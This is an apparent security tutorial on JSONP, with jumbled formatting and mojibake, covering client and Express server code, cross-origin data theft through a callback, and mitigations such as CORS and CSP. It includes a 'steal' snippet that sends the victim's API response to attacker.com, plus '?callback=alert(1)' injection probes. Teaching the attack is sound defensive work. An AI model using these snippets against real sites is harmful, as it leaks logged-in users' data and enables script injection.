JSONP (JSON with Padding) is a technique to fetch cross-origin data using
<script> tags.
---
# βοΈ How It Works
## Client
```html
<script>
function cb(data) {
console.log(data);
}
</script>
<script src="https://api.example.com/data?callback=cb"></script>
## Server Response
```javascript
cb({"user":"admin"});
- Frontend: https://attacker.com\
- API: https://api.victim.com
Goal: Fetch cross-origin data without CORS.
<!DOCTYPE html>
<html>
<head>
<script>
function handleData(response) {
console.log("Received:", response);
document.body.innerHTML = response.user;
}
</script>
</head>
<body>
</body>
</html><script src="https://api.victim.com/user?callback=handleData"></script>- Browser sends request
- No CORS restriction
const express = require("express");
const app = express();
app.get("/user", (req, res) => {
const callback = req.query.callback;
const data = {
user: "admin",
role: "superuser"
};
res.set("Content-Type", "application/javascript");
res.send(`${callback}(${JSON.stringify(data)})`);
});
app.listen(3000);handleData({
"user": "admin",
"role": "superuser"
});- Script is executed automatically
- Calls handleData()
- Script request sent\
- Server returns JavaScript\
- Browser executes it\
- Callback runs
<script>
function steal(data) {
fetch("https://attacker.com/log?data=" + JSON.stringify(data));
}
</script>
<script src="https://api.victim.com/user?callback=steal"></script>- Victim visits attacker site\
- Request sent with cookies\
- Response executes\
- Data exfiltrated
res.send(`${callback}(${data})`);res.set("Content-Type", "application/json");
res.json(data);JSONP is executable JavaScript, not just data.
- Uses script tag\
- No CORS restriction\
- Executes response\
- Leads to data leaks
- Uses
tag (not restricted like XHR/fetch)<script> - Browser executes response as JavaScript
?callback=alert(1)
- Stealing sensitive API responses
- No HTTP status visibility
- Victim logged in
- Attacker loads:
<script src="https://target.com/api?callback=steal"></script>- Data sent to attacker
- Remove callback support
Access-Control-Allow-Origin: https://trusted.com
application/json
Set-Cookie: session=abc; SameSite=Lax
Content-Security-Policy: script-src 'self'
callback=
jsonp=
cb=
?callback=alert(1)
?callback=test123
- Response: callback({...})
- Content-Type: application/javascript
JSONP does not bypass CORS --- it avoids it entirely using script execution.
- Uses
β no CORS restriction<script> - Executes remote data
- Vulnerable to XSS & data leaks
- Replace with CORS